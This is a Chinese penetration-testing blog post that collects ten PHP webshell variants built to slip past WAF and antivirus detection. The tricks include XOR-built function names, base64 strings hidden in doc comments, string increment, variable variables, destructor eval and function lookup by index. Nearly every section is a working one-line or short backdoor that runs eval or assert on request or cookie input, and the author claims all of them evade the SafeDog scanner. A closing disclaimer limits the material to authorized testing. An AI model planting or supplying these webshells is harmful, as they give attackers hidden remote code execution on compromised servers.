渗透测试 | php的webshell绕过方法总结

目录

1.php的异或运算

2.通过获取注释去绕过

3.利用字符的运算符

4.通过end函数代替[]

5.通过常量去绕过

6.字符串拼接+双美元符

7.通过函数定义绕过

8.通过类定义,然后传参分割

9.多传参方式绕过

10.通过get_defined_functions绕过


本文由掌控安全学院 - 手电筒 投稿

1.php的异或运算

复制代码
  1. $a="~+d()"^"!{+{}"

这个表示了$a=这两个字符串之间进行一个异或运算

运算异或运算符,按二进制位进行异或运算

这里的运算会把符号转化为ascii码,再转化为二进制,再转化为十进制进行运算,再把结果转化为ascii码

通过这个转换的方式来绕过检测

复制代码
  1. <?php

  2. $a= ("!"^"@").'ssert';

  3. $a($_REQUEST[x]);

  4. ?>

测试可以成功连接

2.通过获取注释去绕过

复制代码
  1. <?php

  2. /**

  3. * YXNzZXJ0YmZnZmc=

  4. */

  5. class Example

  6. {

  7. public function fn()

  8. {

  9. }

  10. }

  11. 通过一个空的类去获取,

  12. $reflector = new ReflectionClass('Example'); //这里为通过反射获取类的注释

  13. $zhushi = substr(($reflector->getDocComment()), 7, 12);//然后去截断获取注释里的字符,注意getDocComment只能通过文件最开始的类来调用才会把注释内容显示

  14. $zhushi = base64_decode($zhushi);

  15. $zhushi = substr($zhushi, 0, 6);

  16. echo $zhushi;

  17. foreach (array('_POST','_GET') as $_request) {

  18. foreach ($$_request as $_key=>$_value) {

  19. $$_key= $_value;

  20. }

  21. }

  22. /*设置一个数组,参数为_POST,_GET,然后把该数组用$_request去表示,再设置一个遍历,把$_request设为一个可变变量,再键值分离

  23. 再设$$_key=$_value,做一个定义,定义可变变量$_key键等于值得内容再设$$_key=$_value,做一个定义,定义可变变量$_key键等于值得内容

  24. */

  25. $zhushi($_value);

  26. //最后就是assert(传入的变量值)

  27. ?>

原理就是通过把shell加密并放到注释里,利用类的反射机制获取类的注释,再解密去生成shell

测试可以成功连接

3.利用字符的运算符

复制代码
  1. <?php

  2. $__="assers";

  3. ++$__;

  4. //echo ++$__;

  5. $__($_REQUEST[x]);

  6. ?>

__ 为字符串assers,然后对这个字符串进行自增操作,这里++是直接对这个字符串里的最后一个字符进行自增操作,得到结果为assert,然后去拼接(_REQUEST[x]);,生成shell

测试可以正常连接

4.通过end函数代替[]

复制代码
  1. <?php eval(end($_REQUEST));?>

这里的end函数的作用是输出数组中当前元素和最后一个元素的值,这里由于传参就一个,所以就直接输出我们传参的值,从而可以传入参数,这里就是我们传入参数相当于shell里的传参

测试可以正常连接

5.通过常量去绕过

复制代码
  1. <?php define("a","$_GET[1]");eval(a);?>

这里的关键在于define函数,这个函数的作用是定义一个常量

我们这里设置一个常量为a,它的值是_GET\[1\],然后再去eval执行常量a,实际就是eval(_GET[1]);,从而达到绕过的目的

测试可以正常连接

6.字符串拼接+双美元符

复制代码
  1. <?php

  2. $a='ass';

  3. $b='ert';

  4. $funcName=$a.$b;

  5. $x='funcName';

  6. $$x($_REQUEST[1]);

  7. ?>

这里通过把关键的assert进行分割,然后拼接,然后通过$$,利用可变变量去执行

测试可以正常连接

7.通过函数定义绕过

复制代码
  1. <?php

  2. function a($a){

  3. return $a;}

  4. eval(a($_REQUEST)[1]);

  5. ?>

这里设置一个用户自定义函数a,当里面有参数时,返回该参数的内容,这里shell里的

a(_REQUEST)\[1\] 的实际效果为 a(_REQUEST),相当于是a(a),会返回a的内容,结果为

_REQUEST,最后一行的实际内容为eval(_REQUEST[1]);

测试可以正常连接

8.通过类定义,然后传参分割

复制代码
  1. <?php

  2. class User

  3. {

  4. public $name = '';

  5. function __destruct(){

  6. eval("$this->name");

  7. }

  8. }

  9. $user = new User;

  10. $user->name = ''.$_REQUEST[1];

  11. ?>

通过类定义,定义一个类User,设置$name为空,然后设置一个析构函数,脚本运行结束之前会调用对象,然后eval去执行,后面用new函数将对象实例化并输出方法,

然后,user-\>name这个相当于是this->name,等于''.$_REQUEST[1];

最后user-\>name = ''._REQUEST[1]; 相当于eval($_REQUEST[1])

测试可以正常连接

9.多传参方式绕过

复制代码
  1. <?php

  2. $COOKIE = $_COOKIE;

  3. foreach($COOKIE as $key => $value){

  4. if($key=='assert'){

  5. $key($_REQUEST['s']);

  6. }

  7. }

  8. ?>

这里设置cookie为获取的cookie传参,这里是个数组,然后通过foreach遍历,再进行键值分离,key为键,value为值,然后进行一个if判断,当key为assert时,key拼接(_REQUEST['s']); 达到生成shell效果

测试可以正常连接

10.通过get_defined_functions绕过

复制代码
  1. <?php

  2. $a=get_defined_functions();

  3. $a['internal'][841]($_GET['a']);

  4. ?>

这个get_defined_functions函数作用是返回所有已定义的函数,包括内置函数和用户定义的函数,这里通过get_defined_functions得到所有函数,然后通过['internal'][841]去访问并调用相应函数,然后后接($_GET['a']),生成shell

测试可以正常连接

用安全狗进行检测

以上方案里的均能过安全狗

关于webshell绕过其实还有许多其他的办法,后续学习到了新方法会继续在本文上做补充

申明:本文所分享内容仅用于网络安全技术讨论,切勿用于违法途径,

所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法.

相关推荐
进击的_鹏3 分钟前
【C++11】initializer_list列表初始化、右值引用和移动语义、可变参数模版等
开发语言·c++
mark-puls9 分钟前
C语言打印爱心
c语言·开发语言·算法
PenguinLetsGo12 分钟前
你的App是否有出现过幽灵调用?
android
西阳未落17 分钟前
C语言柔性数组详解与应用
c语言·开发语言·柔性数组
Huhbbjs17 分钟前
SQL 核心概念与实践总结
开发语言·数据库·sql
没有了遇见25 分钟前
Android ViewPager2 嵌套 RecyclerView 滑动冲突解决方案
android
咕噜咕噜啦啦31 分钟前
Qt之快捷键、事件处理、自定义按键——完成记事本项目
开发语言·qt
Source.Liu34 分钟前
【Pywinauto库】12.1 pywinauto.backend 后端内部实施模块
开发语言·windows·python·自动化
晚云与城37 分钟前
今日分享:C++ deque与priority_queue
开发语言·c++
半梦半醒*39 分钟前
正则表达式
linux·运维·开发语言·正则表达式·centos·运维开发